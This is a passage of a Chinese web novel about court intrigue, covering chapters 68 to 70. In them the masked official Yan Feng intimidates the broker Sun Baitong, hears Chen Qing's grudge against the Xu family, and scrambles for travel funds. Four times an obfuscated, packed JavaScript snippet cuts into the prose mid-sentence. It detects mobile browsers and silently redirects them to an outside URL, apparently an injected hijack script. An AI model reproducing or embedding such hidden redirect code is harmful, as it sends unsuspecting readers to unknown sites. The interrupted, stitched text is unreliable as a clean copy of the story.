她复低头，狠狠在他唇上咬了一口，直至沁出血痕方松。 “下次。”她利落地从他身上跃下，又重新戴上了面甲。 “下次，你总该是我的了。”她推门而出，气度依然如来时潇洒。 只留下屋里的人怔怔地抚上被咬伤的唇瓣。 * 燕风实际上并不如她表现得那般潇洒。 她没有理睬楼下那些预备献礼的人，径直回家。 一路疾行，脚步越来越快，最后几乎用尽全身力气才克制住没用轻功飞檐走壁。 回到自家小院时，月已上柳梢。 她背靠着关紧的门板，摘下面具大口喘气，这才清晰地感受到心脏在胸腔里狂野地跳动，几乎要撞出来。 她现在只想冲进净房快速洗个冷水澡，然后埋进被窝里尽情尖叫！ “……头儿？” 冷不丁响起的声音吓得她一颤，做贼似的猛地转身。 原来是江鱼。 “今天回来这么晚？吃过了吗？”江鱼问。 燕风长长吁出一口气：“吓死我了……你怎么还没睡？” 江鱼用一种看傻子的眼神看着她，又偏头指了指天上的月亮。 那意思很明显：我们什么时候这么早睡过？ 燕风尴尬地清了清嗓子：“没事，呵呵，吃过了，你也早点休息。” 江鱼走近几步，疑惑地打量她绯红的双颊，又凑近嗅了嗅，确认没有血腥或伤药气味，这才从怀里掏出一个小纸包，递过来几颗麦芽糖。 “喏，留着当零嘴。” 说完，她便转身回自己屋了。 燕风愣在原地，心里泛起嘀咕：江鱼这个管家婆持家勤俭到了令人发指的地步。 平日三餐管饱，零食却是绝对不给买的。 这几颗麦芽糖，她约莫记得是上个月市集打折时江鱼才拿下的，之后一直当宝贝藏着。 燕风猜她是想留到过几日自己生辰时庆祝，尽管那生日根本就是燕风随口瞎编的，目的其实也就是骗她买几颗糖。 今天怎么突然舍得拿出来了？ 她摇摇头，懒得深究，剥开糖纸一股脑塞进嘴里，哼着不成调的小曲走向净房。 真甜啊。 待她冲完凉，带着一身水汽出来，走到自己房门前时，冷不防又撞见一个人影等在那里。 燕风定睛一看，竟是陈青，这才恍然想起：今日原是他搬来的日子。 难怪连江鱼都破例拿出了珍藏的麦芽糖，原来是喜糖啊！ 陈青站在她房门前，神色踟蹰。 见她归来，像是终于下定了决心，迎上前开门见山道： “燕风，多谢你的收留与提携。但我之前隐约提过的仇敌……我想，我必须向你坦白，否则将来恐会连累你们。” 燕风心下一哂—— 大可不必！ 就他们这伙人正在谋划的勾当，将来还不知是谁连累谁。 她几乎有些破罐破摔地想：好在个个轻功都不差，真到了要逃命的那天，总不至于互相拖累。 她刚要抬手制止，陈青的话却已脱口而出： “是京师徐家。” 燕风瞪大了眼睛。 今夜这徐家怕是犯了太岁，一个两个的，都恨不得将它生吞活剥。 “愿闻其详。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485573|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她忽然上前，一把挽住陈青的胳膊，另一手竖起食指抵在唇边：“屋里说。” 顺手又将佯装路过的江鱼一把拉住：“一起听！” 她左挽右携，将二人带进屋内，反手合上门，随即“噗”一声吹灭了屋里所有的蜡烛。 江鱼在黑暗中沉默一瞬：“……这烛火钱，倒也不是非省不可。” 燕风低笑：“今夜月光够亮堂了。” 而此时，正伏在宅院屋顶值守的一名黑衣人，默默瞪大了眼睛—— 不知为何，这位燕大人府上总是夜风萧萧，平日里怎么也听不清里头人说话。 但一男、一女、一阉狗，三人共处一室，吹灯歇息，却是他亲眼所见，板上钉钉！ 烛火既熄，陈青在朦胧的月光中坐下，终于缓缓开口。 “我本是钱塘县人，家中世代耕读，靠着祖上传下的田产，虽不算显赫，却也衣食无忧。可两年前，京城徐家看中了我们那片临河的地，派人来谈，想买去建别院。家父以‘祖业不可弃’为由，婉拒了几次。” “后来……”他微微一顿，“他们便与县衙的人串通，诬告家父‘勾结漕帮，私运盐铁’。父亲被投入大牢，不过月余，便因‘刑伤过重’去世了。母亲不堪打击，一病不起，也跟着去了。家产悉数被抄没，待我游学归来，祖宅已空，田产也早已改姓了徐。” 江鱼听得义愤填膺，低声啐道：“这些京里来的贵人，真是吃人不吐骨头。为了几亩田地，竟做出这等恶事！” 燕风在黑暗中静默片刻，忽然轻声问：“你家里，还有别的亲人吗？” “再没有了。”陈青道：“原本还有个兄长，幼时被人伢子拐走了，再也没寻回来。亲戚里还有个伯父，早几年也去了。” 燕风轻轻“嗯”了一声，转而道：“我明白你的苦处。只是事隔两年，物证难寻，人证恐怕也早已散尽。更何况——这未必是徐家主子亲自下的令，说不定是底下人揣摩上意、自作主张。你想靠这一桩旧案告倒徐家，难。” “是，”陈青的声音依旧平稳，“我都明白。我家并非显贵，这般遭遇，在旁人听来也算不得多么稀奇。我所想的，不过是徐家既能为几亩地做出这等事，平日里类似的孽债定然不少。若能找出几桩，借他人之势，或可撼动这棵百年大树。” “会有的。”燕风轻声道。 “我向你保证。” 68. 设局 没过几日，燕风案头又添了一份新帖。 依旧是兰香馆，二楼那间临河的雅间。只是这一回做东的，换成了漕运总督张大人家的长公子。 窗外暮色初合，烛火尚未点燃。昏沉之中，只觉空气凝滞，连熏香都带着几分沉郁。 张公子迟迟未至，屋里燕风与孙百通对坐已久。 四下寂静，唯闻燕风指尖不轻不重叩在紫檀桌面的声响。一声声，敲得人心头发紧。她忽而一笑。 “张公子这是动气了，给下马威呢。” 孙百通忙欠身，他油胖的脸上已渗出细密汗珠，声音却尽力维持平稳。 “大人多虑，张公子公务缠身，许是路上耽搁了。” “张公子出身不凡，前途无量，自有威风的底气。倒是孙公子这般长袖善舞，左右逢源，短短几日，又做了张公子的座上宾，实在令人羡慕。” “燕大人说笑了。”孙百通唇角挤出谦卑的弧度。 “孙某不过是个中人，在其位谋其事。若说逢缘，也只逢真金白银的缘。其余种种，与在下无关。” “孙公子想得坦荡，可惜旁人未必如此。你接下这一单时，可曾想过上一单的主顾会作何想？” 不待他辩解，她又悠然道：“你自然有一番冠冕堂皇的说辞，可心里再明白不过——漕运总督是从一品大员，背后更有徐家撑腰。那王知府算什么？即便有心攀附皇子，到底还没攀上不是？” 孙百通急急拱手：“大人明鉴！孙某一介平民，哪懂这些官场门道……” “别急着装傻。”燕风截断他的话，声势陡沉。 “得罪个淮安知府不打紧，怕的是你两头不讨好，最后里外不是人。” “就说今日，张公子何等家世？父亲位列从一品，母亲又是徐家人。他若想见我，随便递个帖子，我敢不来？何须劳你一个白身中人作陪？” 她微微前倾。昏昧光线下，目光仿佛直直刺来： “张公子这记下马威。你以为，震得的是谁的面子？” 此言一出，孙百通脸上血色霎时褪尽。 他今日自接到张公子的帖子起，心中便七上八下，全凭心存的一点侥幸强自维持镇定。此刻被燕风一语道破，那点赖以支撑的自我安慰顿时粉碎，方才惊觉自己先前的种种算计，是何等幼稚可笑。惊惧之下，他再无力支撑，身子一软，重重跌回椅中。 燕风眼底掠过笑意，随即缓步走至他跟前。她的身影恰好挡住了窗外最后一点微光，背光的轮廓显得异常高大，将孙百通完全笼罩在阴影之下。 “慌什么。今日我心情尚可，不妨……为你指条明路。” 孙百通闻言，几乎是连滚带爬地从椅子上滑落，“噗通”一声跪倒在地，竟是毫不迟疑地连连叩首。 “求燕大人救我！” 燕风反而慢条斯理地坐回了原位。 “孙老板，你这话说得可不对。你我非亲非故，我为何要救你？平白惹上一身腥臊。” 她冷冷道：“再说了，你只道得罪了张公子，难道就没得罪我么？我北镇抚司是天子亲军，忠的是陛下一个人。可你这吃了熊心豹子胆自作聪明的蠢货，上下两片嘴皮子一碰，就敢将我打成结党营私的奸逆。” “这桩罪过，你说，怎么算？” 这番话如同惊雷炸响，孙百通猛地抬头。直到此刻，他才猛然惊觉眼前是何等人物。 这可是个上任伊始便扳倒了刑部尚书的狠人！自己先前只当他倚仗皇子之势，实在是鼠目寸光，小觑了阎罗！ 他脑中急转，飞速回想几日前所言，确信并未吐出什么大逆不道之语。可甫一抬眼，对上对方面具孔洞里那双鹰隼般锐利的眼睛，那点底气瞬间消散无形—— 即便当面未曾失言，焉知隔墙无耳？ 眼下唯有老实认罪，或尚有一线生机！ 想通此节，他再不敢有半分侥幸，哀声求告： “燕大人，小的知错了，小的知错了！小的万死难辞其罪，只求大人指一条明路，若能稍减罪愆一二，小的便是九泉之下，也感念大人恩德！” “谁要你死了？” 出乎意料，燕风竟起身来到他面前，甚至屈尊蹲下，虚虚一扶。 “本官行事，自当秉公持正。你恪守本分，我何以加罪？你操持此业，若真遇冤狱不公，本当具状三法司，依律明断，上报天听，方是利国利民的正道。怕只怕你满心满眼，只看得见结党营私、投机钻营的门路！” 孙百通被她这番反复无常的态度弄得晕头转向，张了张嘴，半晌才挤出一句：“请…请燕大人明示。” “明示？”燕风又敛去方才那点平和，眉梢一挑，显出几分不耐。 “若有冤情，自有三法司，刑部为你做主。你跑来寻我，是何道理？莫非真当我北镇抚司是那等徇私枉法、插手地方政务之所不成？” 她这番冠冕堂皇的话来得简直是莫名其妙。孙百通听得愣在当场，只得伏在地上连连称是。 燕风这才重新露了笑脸：“时候不早了。张公子贵人事忙，怕是早忘了咱们这席面，本官也该走了。” 行至门口，她又回身拍了拍孙百通的肩膀，意味深长。 “居高位者眼中，下位者便如蝼蚁。忘了是常事，便是不小心碾死了，又有什么打紧？” “做人啊，须得自己硬气些。叫人觉得踩你时，可能会扎伤了脚，他们……自然便会三思而后行了。” * 燕风才踏进自家院门，一股浓烈的香气便扑面而来，将她满身的疲惫瞬间涤荡一空。 “饿死了——！” 近来江鱼颇为大方，理由也很是充分：院里新生的小鸡已然长成。于是几乎每日家里都能宰一只小公鸡打牙祭，甚至还破天荒地支持点菜。今日这锅油焖鸡，想必是炖足了火候，香气格外醇厚霸道。 她话音刚落，江鱼便端着热气腾腾的砂锅从灶房屁颠屁颠地小跑出来，一双眼睛却不住地往她身后瞟。 燕风瞧她那模样，忍不住揶揄：“快了快了。先让你燕哥吃上口热饭，你的情哥哥自然就回来了。” 江鱼没好气地瞪她一眼：“说得我多没良心似的！亏我从早上忙到现在，就为了做你昨晚心血来潮点的油焖鸡！” 燕风早已伸手抓了一只鸡翅，吃得满嘴油光，含糊不清地讨饶：“好鱼妹，哥错了！你做的油焖鸡，真是这个！” 她腾出根大拇指比了比，“就算是醉仙楼、景阳楼的大师傅都来了，吃了也得恭恭敬敬叫你一声江大师！” 这话把江鱼逗得笑弯了腰：“这还差不多！哈哈……哎，陈哥回来了！” 燕风回头，果然见陈青风尘仆仆地迈进院子。她赶忙咽下嘴里的鸡肉，正色问道：“如何？都布置妥当了？” 陈青点了点头，眉宇间的忧色却未散尽：“已反复查验多遍，理应无虞。只是……属下心中仍难安定。” “嗐，吃鸡吃鸡！天塌下来也得先填饱肚子！”燕风浑不在意地一摆手。 “那张公子我清楚得很，与上月问斩的薛尚书家那纨绔一个模子刻出来的，满脑子不是酒肉便是美人。除非孙百通失心疯了，真跑去当面质问他‘阁下既下帖请客为何不至’，否则他绝无可能察觉有人借他名头行事。” 陈青神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485574|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色稍松，这才坐下端起饭碗。 一直安静旁听的江鱼见状，转身从厨房端出个青花小碗，里头妥帖地盛着两只酱色油亮的肥硕鸡腿。她轻手轻脚地将鸡腿分别放入燕风与陈青碗中。 “你怎么不吃？光顾着我们了？”燕风问道，“家里如今又不差这一口。” 江鱼心里翻了个大大的白眼：真是不当家不知柴米贵！不差吗？还是挺差的。面上却仍是温温柔柔地应道：“你们回来得晚，我早先吃过了。” 燕风还欲再言，却见陈青已默然将自己碗中鸡腿夹起，稳稳当当地放回了江鱼碗里。 哼，这对腻歪鸳鸯。 燕风腹诽着，心安理得地咬向自己碗中那只鸡腿。 江鱼耳根微红，这次没再推辞，转而问道：“今日之事……可还顺利？” “顺利！再顺利不过！”燕风眉飞色舞，“那姓孙的这会儿指不定怎么在心里骂我呢，定觉得我装模作样。分明是个铁杆的三皇子党，偏要故作清高。可惜他拿我没办法，我料他过不了几日，就得去寻刑部那洪草包吃酒，想法子把王知府的案子递到三皇子跟前。” “咦？你们不是假借张公子之名震慑他么？他再去找三皇子不是更得罪张家吗？” “正因吓得他狠了，他才要急着找座靠山啊。” 燕风嗤笑：“官场讲究制衡，他们这些与官府打交道的白身，更是精通此道。别看他人前跪得利索，这种刀尖上行走的生意人，胆子大着呢！若我直白吩咐，他定要耍弄心机。唯有让他自个儿‘悟’出这条明路，他才会踏踏实实去办。” 江鱼似懂非懂，又追问：“若那孙百通真去找了洪大人，洪大人会愿意替他向三皇子传话？” “洪草包别的不敢说，贪财这点绝错不了。有银子开路，他没有不应的理。即便不看银钱面子，近来他千方百计巴结三皇子，苦于没有晋身之阶。若孙百通声称能提供徐家的把柄，他岂会放过这机会？” 江鱼眼睛一亮：“这是不是说，三皇子会借此对付张总督和徐家？” 燕风摇头：“难！且不说这事算不算真把柄。我看那王知府也未必干净，否则早该去敲登闻鼓了。退一万步讲，即便张总督确是奉徐家之命构陷王知府，也动不了徐家根本。百足之虫死而不僵，何况这等绵延百年的世家？” “那……我们这般周折，有什么用呢？” “怎会无用？”燕风笑道：“有风声，便有了谈判的筹码。三皇子本就有讨好徐家的联姻之意，若非永宁公主早逝，如今早是姻亲。我若是三皇子，正好借王知府这事送个顺水人情。谈着谈着……说不定就真成了一路人。” “等他们走近了，东宫那边，自然就有我的位置了。” “头儿，你太厉害了！”江鱼眼中满是崇拜，“快给我讲讲，你是怎么跟那孙百通说的？” “去去去，你去问陈青去。他当时就站在门外。” 陈青不知何时出了神，乍然听到了自己的名字，略显无措地抬起头：“我没听到几句……我耳力没你这么好。” “可惜了！”燕风咂咂嘴：“你真该好好听听，学学怎么把假话说得叫人深信不疑。你呀，太实诚，骗起人来一眼就能被人看穿。” 陈青心头猛地一跳，几乎以为她话中有话。可再抬眼看时，燕风已埋头专注于饭菜，仿佛刚才那句只是随口一提。 没过一会儿，她又高声道：“真香！再来一碗！” “听见啦！没聋呢！”江鱼嘴上嘟囔，眼里却带着笑，高高兴兴地跑去替她添饭。 陈青垂下眼，默默扒了一口饭。 应当……是自己多想了吧。 69. 嫌疑 一个人若心思太过纯良，往往像清浅的溪水，一眼便能望到底。 锦衣卫指挥使李芳贤便是如此。 这位燕风名义上隔了好几层的上司，实际上却只隔着一条河：李大人最爱垂钓的那条浑河。 正值壮年的李指挥使，早早过上了半隐退、全职钓鱼的好日子。燕风与他接触不多，但几回照面已足够确认：这是个实打实的老好人。 按理说，这般性子在官场寸步难行，可架不住皇帝就是喜欢他。在李大人的英明领导之下，锦衣卫蒸蒸日下，迅速沦为一个三无衙门：无事可做，无钱可拨，无人可用。 甚至锦衣卫许多官职常年空悬。下面的人升不上去，上面的李大人圣眷正浓也下不来。至于其他衙门的官员？除非脑子被门夹了，否则绝不会往这冷窖里自断前程。 甚至，燕风自从坐上北镇抚司使的位置，名义上本该向隔了几层的李大人汇报，却因总寻不见那位钓鱼佬的踪影，反倒常常得以直接面圣。这又何尝不是一种扁平化管理？ 而与李大人截然相反的是，他的内侄，刑部的洪大人则是另一种极端：工于心计、趋炎附势。但殊途同归，洪大人同样直白得容易被一眼看穿。 洪大人的势利是摆在明面上的：对下位者，他的不屑毫不掩饰；对上位者，他的谄媚同样显然；唯有面对地位相当之人，他才勉强像个正常人。 燕风有幸，在短短数月内将这三种态度尝了个遍。 初识时，洪大人仗着官高一级又有指挥使姑父，待她浑如待一个诏狱牢头。等她借三皇子之势扳倒薛尚书后，此人态度骤变，热情得几乎要将她供上香案。 近来，洪大人待她总算恢复了正常。 燕风心知肚明，这是孙百通开始干活了。洪大人定然是借着王知府那件事，终于搭上了三皇子的船！ 洪大人正暗自得意，燕风也乐见其成。只可惜，她的好心情没能持续多久。 二皇子即将就藩的消息传来了。 这本是按部就班的惯例，与燕风更是八竿子打不着。谁知这位殿下不知哪根筋搭错了，竟指名要北镇抚司燕风护送就藩！ 而皇帝也痛快答应了——倒也没有什么不同意的理由，此去路途平坦，至多两月便能回转。 燕风却是觉得脑袋要炸了。 她好不容易才为三皇子制造了拉拢徐家、打击太子的良机，马上便该是她向太子雪中送炭的节骨眼。 此刻离京，岂非前功尽弃？ 再说，她若离京，罗同、迟三这些人势必也得离开。否则，没了她在京中坐镇，皇帝的能力便能使所有人倒戈。光是一个朱厌，其破坏力就已不堪设想！遑论其他？ 真是麻烦透顶！ 她拧紧眉头，仔细回想自己究竟是何时招惹了这位二皇子。奈何想破了头，也只记起初次入宫时，曾与他远远打过一個照面，此后便刻意避开，再无交集。 这位殿下是京中有名的纨绔。声色犬马，恶名昭彰，她平日躲都来不及，怎料还是被凭空点了将。 然圣意已决，金口既开，便再无转圜余地。启程之期定在五日后，时间紧迫。 燕风当夜便匆匆赶往兰香馆，去寻罗同等人商议对策。 兰香馆内。 罗同依旧不见踪影，唯有迟三大马金刀地坐在太师椅上，一手拈着蜜饯，一手端着酒盅，满脸尽是看好戏的惬意。 燕风正一肚子邪火没处发作：“火烧眉毛了，你倒清闲。可知这地方离关门大吉不远了？” “怎么不知？” 迟三阴阳怪气道：“今晚还有客人议论你呢！真是魅力无边，男女通吃。平日面具遮得严实，还能勾得公主倾心；好不容易被去了势，又有皇子想睡你。” 燕风脸色骤然一沉。虽然心中早有猜测，但这般露骨的说辞仍让她胃里翻涌，霎时周身漫起一股冷风。 “亏你还笑得出来！就说怎么办吧？我们好容易在此扎根，若离京一两月，朱厌怎么办？岂非前功尽弃！” 迟三觉得屋子里有些凉，不自觉拢了拢衣襟。 他收了嬉笑：“你也不必如此紧张。我倒觉得，这是个机会。” “什么意思？” 迟三不语，只意味深长地笑着。 燕风心下顿时了然，试探道：“……他会跟着去？” “这我不能明说，”迟三摇头，故作高深。 “你既知他诨名‘朱厌’，便该明白我缄口，是为你好。我只能说，有可能。” “跟去又如何？杀了他？还是扣下他？” “那就要看你的本事了。不过，好徒儿，” 迟三悠悠抿了口酒，“恕我直言，你这几月进境虽令为师惊叹，但想杀他，还差得远。” “那算个鸟的机会！” 突然要护送一个身份高贵的变态就已够倒霉，竟还凭空多出性命之忧。 “你就不怕我与他交手，死得反而是我？” “你看，”迟三挑眉，“你这不是悟出来了吗？不杀他，扣下便是。” “你说得轻巧！他若不肯就范，还不是要动手？” “所以我说，只是个‘机会’。” 迟三摊手：“世上哪有十拿九稳之事？不过你大可宽心，你这条命，八成丢不了。你那相好既对你如此上心，此番就算扮作马夫也定会随行。届时若真动起手来，我、你，加上他，三对一，总不至输得太过难堪。” ‘相好’二字莫名熨帖，将她心头的烦躁稍稍压下去几分。 “等等？三人？那罗师父呢？他不去？” 她忽然惊觉，自入京后便没再见过罗同。莫不是遭了什么不测…… “他若去了，我们才真是完了。” 迟三冷笑：“怎么？他竟没告诉你？” 燕风心中警铃大作，当即抿紧了唇。 迟三慢条斯理地放下酒盅。 “无妨，由我来说也是一样的。罗同不敢来，是因为朱厌那疯子在这里。” 他抬眼，目光里带着一丝嘲弄：“老故事里讲了，天上有神女陨落，神血浸染了许多个家族，这才有了我们这些身负异能的后人。为了这身能力，各家争夺家主之位的手段，有时……残酷得超乎你想象。” “罗同和那小子的生死大仇，便是这么结下的。” “不过你也不必替罗同担心。”迟三吊儿郎当地靠回椅背，“家族铁律，同代族亲，严禁相残，违者天罚殛之。那疯子再恨，也不能亲手取罗同性命。” 燕风蹙眉：“既然同族不能相害，这仇又从何而来？” “法子多了。拿我来说吧，你可知他们为何叫我‘迟三’？” “你家中排行老三？” “正是。我上头原有一哥一姐。一个天生腿有残疾，一个练功时坏了一只眼。结果都被父亲视作瑕疵品亲手处置了。规矩里讲的是同代不得相残，可跨代、隔族，却没人管。” “若非他们没了，也轮不到我活到今日。毕竟孩子越多，神血便越稀释，力量便越薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485575|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱。” 他将酒一饮而尽：“罗同与朱厌的仇……若你真有兴趣，不如自己问问罗同。毕竟，你们似乎早就认识？” 燕风沉默。 迟三哼了一声：“不愿意说便罢了。朱厌杀不了罗同，但他若因此迁怒旁人，顺手泄愤……便无人可阻了。” 他意味深长道：“所以，不管你和罗同从前是怎么认识的，最好还是烂在肚子里吧。” 翌日，北镇抚司格外安静——燕风燕大人竟破天荒地旷了工。 须知这位爷自打上任起，就是锦衣卫出了名的铁血劳模。就连月前那次不可言说的重伤，他也只在床上躺了两天，第三天就拄着拐杖亲临了薛府抄家现场。 如今不过领了份护送二皇子就藩的差事，竟吓得连衙门都不敢来了？ 消息传开，长舌公们自觉分为两派。一派同情燕大人的遭遇，揣得是兔死狐悲之情。另一派则有些缺德了，直道燕大人既已去了势，横竖娶不得妻，若能被荤素不忌的二皇子瞧上，倒也算另辟蹊径，别有一番前程。 而被议论的正主燕风，此刻正双目无神地瘫在床上，愁云满面。 她愁的倒不是二皇子，而是迟三昨日那句“朱厌可能跟去，是个机会”。 此番护送皇子，何人会跟去呢？ 自然是她的属下，锦衣卫北镇抚司众人了。 她从前刻意压着不去想，心里终究存着一丝侥幸。可如今，这侥幸被轻轻一戳，便水灵灵地碎成了一滩无处可拾的泡影。 锦衣卫上至指挥使李大人，下至洒扫的婆子，每个人的简历她都烂熟于心。这些人来历五花八门，却有个共同点——多是两三年前进来的，那正是锦衣卫那场“换血”之后。 便说她麾下三位得力干将。 杨胜，正乾元年的武状元，恰是三年前入的职。 白砚生，随家族迁京，捐了个闲官，也是在那年。 严炳安倒是京师军户出身，偏偏从前是个浪子，家里只剩他一个人，三年前的去向？没人知道。 而那朱厌，唯一的线索，也是两三年前才来的京城。 啧，这下倒好，看谁都像朱厌。 这时候，可万不能去衙门上值，若朱厌真的在场，一定会被察觉到敌意的。 她抬头盯着一角天花板发呆。 那正有一只蜘蛛在努力织网，这蜘蛛生得瘦小，一圈圈爬得半死不活，看得她都想替它吆喝两声： “加油啊，兄弟！” 下一刻，房门‘哐’地被推开，江鱼从早市风风火火地回来。 那蜘蛛眨眼间便被带起的风不知吹到何处去了。 “嚯，你怎么还躺着，不去上值了。” 燕风忍不住叹气，心道世事有时候就这么不讲理。 明明朝着设想的轨道爬了一圈又一圈。眨眼间，一阵风过，从前的成果烟消云散了不说，若摔得狠了，连再爬起来的机会都未必有。 "哎，怎么不说话？"江鱼凑到床前，"你不是要出远门了，不准备准备？" 燕风终于回了神，怔怔道：“你怎么知道我要出远门，谁告诉你的？” 她昨晚回来时心情极差，径直便歇下了，可没同她提起过。 “淑瑶说的呀。她还问我会不会跟着去呢。” “淑瑶？”燕风眉头微蹙，在记忆里搜寻着这个名字：“……白淑瑶？” 是了，江鱼先前确实提过几次，正是那白砚生的妹妹！ 可疑，实在可疑！ 70. 讨钱 “她还说什么了？” 燕风一骨碌坐了起来，目光灼灼。 江鱼被吓了一跳，乖乖回忆道：“也没什么了。她问我去不去，我说大概不去吧，因为你没和我讲过，再说了我要是走了，院子里的鸡怎么办。淑瑶说大人你身边就我一个，多半还是得去，她哥说这可是趟好几个月的远门呢，你这地位身边没个照顾打点的可不行。鸡的事不用担心，她可以帮忙。” “不对啊，白砚生不是有钱人家捐个官玩玩的小公子么？那白淑瑶好歹也是个小姐，怎么能帮你养鸡呢？” 江鱼摆了摆手：“头儿，这你就不知道了。淑瑶和她哥以前确实阔过。但他们俩是姨娘生的，他们爹去世后，兄长就强行分了家。她哥没什么做生意的头脑，就拿分来的钱买了个小宅子和捐了个官吃公家饭。除此之外，也没什么盈余了。她现在也学着我在院子里养鸡呢，学得可快了，一点没有有钱人家小姐的娇气。哦，他们住得也不远，离我们就两条街呢。到时候我留把钥匙给她，让她偶尔过来给鸡洒把谷子就行了。” 听起来也合情合理，也不知道这是好事坏事。燕风“哦”了一声，身子一软，又直挺挺地瘫回了床上。 “哎，你怎么又躺下了？不收拾行李了？这一去可就是好几个月呢！” “有什么好收拾的，”燕风的声音闷闷地从被褥间传出来，“以前又不是没出过公差，哪次也没特意收拾过行李，不都活着回来了。” “那怎么行？以前你什么身份？现在又是什么身份？下面管着好几十号人呢！好歹是个头头了，还和以前一样像个叫花子似的，成何体统啊！让人看了笑话！” 燕风怔了怔，歪头想想，似乎有点道理。 她难得地从善如流，侧过身，眼巴巴地看着江鱼，“那你得空吗？帮我收拾收拾？” 江鱼一副‘我就知道会这样’的神情：“哼，到头来还得靠我！” 她朝着燕风摊出一只手，掌心向上。 “拿来吧！” “什么？”燕风不解。 “盘缠啊！我的好大人，你别告诉我你没想过这个！上头没给你拨差旅费吗？” 燕风更茫然了：“俸禄不都在你手里？你又不是不知道，我就是个穷光蛋！” “哎呀！”江鱼急得凑到床边，掰着手指头给她算。 “这去南边一来一回两个月，就算运气好，一路有驿站管吃管住。光是你我换洗的衣物被褥，应急的药品，你的公文印信，各种零零碎碎的物件，不得准备好几个箱笼？走水路要坐船，走陆路要坐车，这一桩桩一件件，不都是钱？就靠你账上那三瓜两枣的俸禄，怎么填这个窟窿？” “钱……” 燕风脑子里“嗡”的一声。 昨天那传旨的小太监，半个字都没提钱的事啊！她当时心神不宁，竟也完全忽略了这要命的一环！ 算上今日，四日后便要启程了。她这个做头儿的手头都紧巴成这样，下面那些奉命随行的人呢？他们又该如何？ 难道真要大家自掏腰包，跟着她去干这趟苦差？ 跳坑就算了，自费挖坑跳，那也太可怜了！ 燕风又一个骨碌从床上爬了起来。她瞪着前方虚空。 钱！ 不行，得去找钱啊！ 三两下穿戴整齐，燕风连早食都顾不上，抓了面具就往外冲。等她赶到户部衙门口时，队伍已经排成了一条长蛇。 她夹在一堆抱着账册的老爷们中间，饿着肚子，等得久了，眼神都木了。 好不容易轮到她，接待她的主事生得细皮嫩肉，一张笑脸堆得像春风，嘴里“哦哦”“嗯嗯”个不停。态度是谦卑得过了头，可一谈到拨款的正事，立刻就打起太极来。 问何时能下拨，他含糊道“不算久”；再追问期限，又支支吾吾说“不好说”；等燕风忍无可忍，干脆问能不能拨。那人依旧笑眯眯，嘴里滑出一句：“自然是可以，自然是可以。” 这套滴水不漏的推搪功夫，再配上那笑得人牙酸的表情，真是让人气也不是、打更不是。燕风满心焦躁，偏偏又像拳头打在棉花上，憋出一肚子火气，硬是没处发作。 正僵着呢，旁边一个熟面孔的官友路过。 他看了眼这场面，叹了口气，把燕风叫到一边，压低声音同她解释：“燕大人，您头一回来，怕是有所不知。如今国库吃紧，户部这边银钱卡得死死的。谁要接了差事，要么走自己衙门的私账，要么就得自掏腰包。总之都得先垫着，等办完了再慢慢报销。这规矩都行了好几年啦。” 他说着，掏出一沓皱巴巴的账单，往手心拍了拍。 “您瞧瞧，我这可是去年的单子，跑了少说十趟，眼看才批下个七七八八。我这还算顺当的呢！倒霉的两年都批不下来。我劝您呀，别白费功夫了，不如先回去，走你们司里的账？” 燕风一听，差点一口气没上来。 自家衙门有多寒酸，她能不清楚？ 那账本比她的脸还干净，同僚们平日里连笔墨纸砚都得自备。唯一的衙署福利，就是院里那口还没被抽干的水井。指望衙门私账？还不如指望家里江鱼养的那几只母鸡明早能下金蛋！ 她在原地踱了两圈，一咬牙、一跺脚，决定去搬救兵——去找她那顶头上司、锦衣卫的头儿，朝中知名的老好人。 李芳贤李大人！ * 浑河边上，坐满了一排排钓鱼的老头。 燕风沿着浑河岸寻了三遍，才从那一排乌龟似的钓客中认出目标。任谁也难以相信，这个身材瘦高、衣着质朴，唯有脸庞晒得黑里发亮的老头，竟是当今锦衣卫指挥使、朝廷正三品大员李芳贤。 燕风连忙上前，将来意细细道来。她说得发自肺腑，字字恳切，从官差公文讲到衙门家底，又从穷到叮当响的北镇抚司讲到那主事的“自然可以”。 李大人果然不负他的好名声，听罢当即怒目圆睁。他“啪”地一拍大腿。 “岂有此理！奉旨差事，怎能让属官自掏腰包？户部那群老王八壳子成精了不成？” 话音未落，他猛一甩竿，水花四溅，溅得旁边几位老翁齐齐侧目。李大人犹不解气，一脚踢翻身旁自己那只空荡荡的鱼桶。 “还钓什么鱼！走，跟那群铁算盘算账去！” 二人一身煞气地直奔户部衙门。 指挥使亲临，接待的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 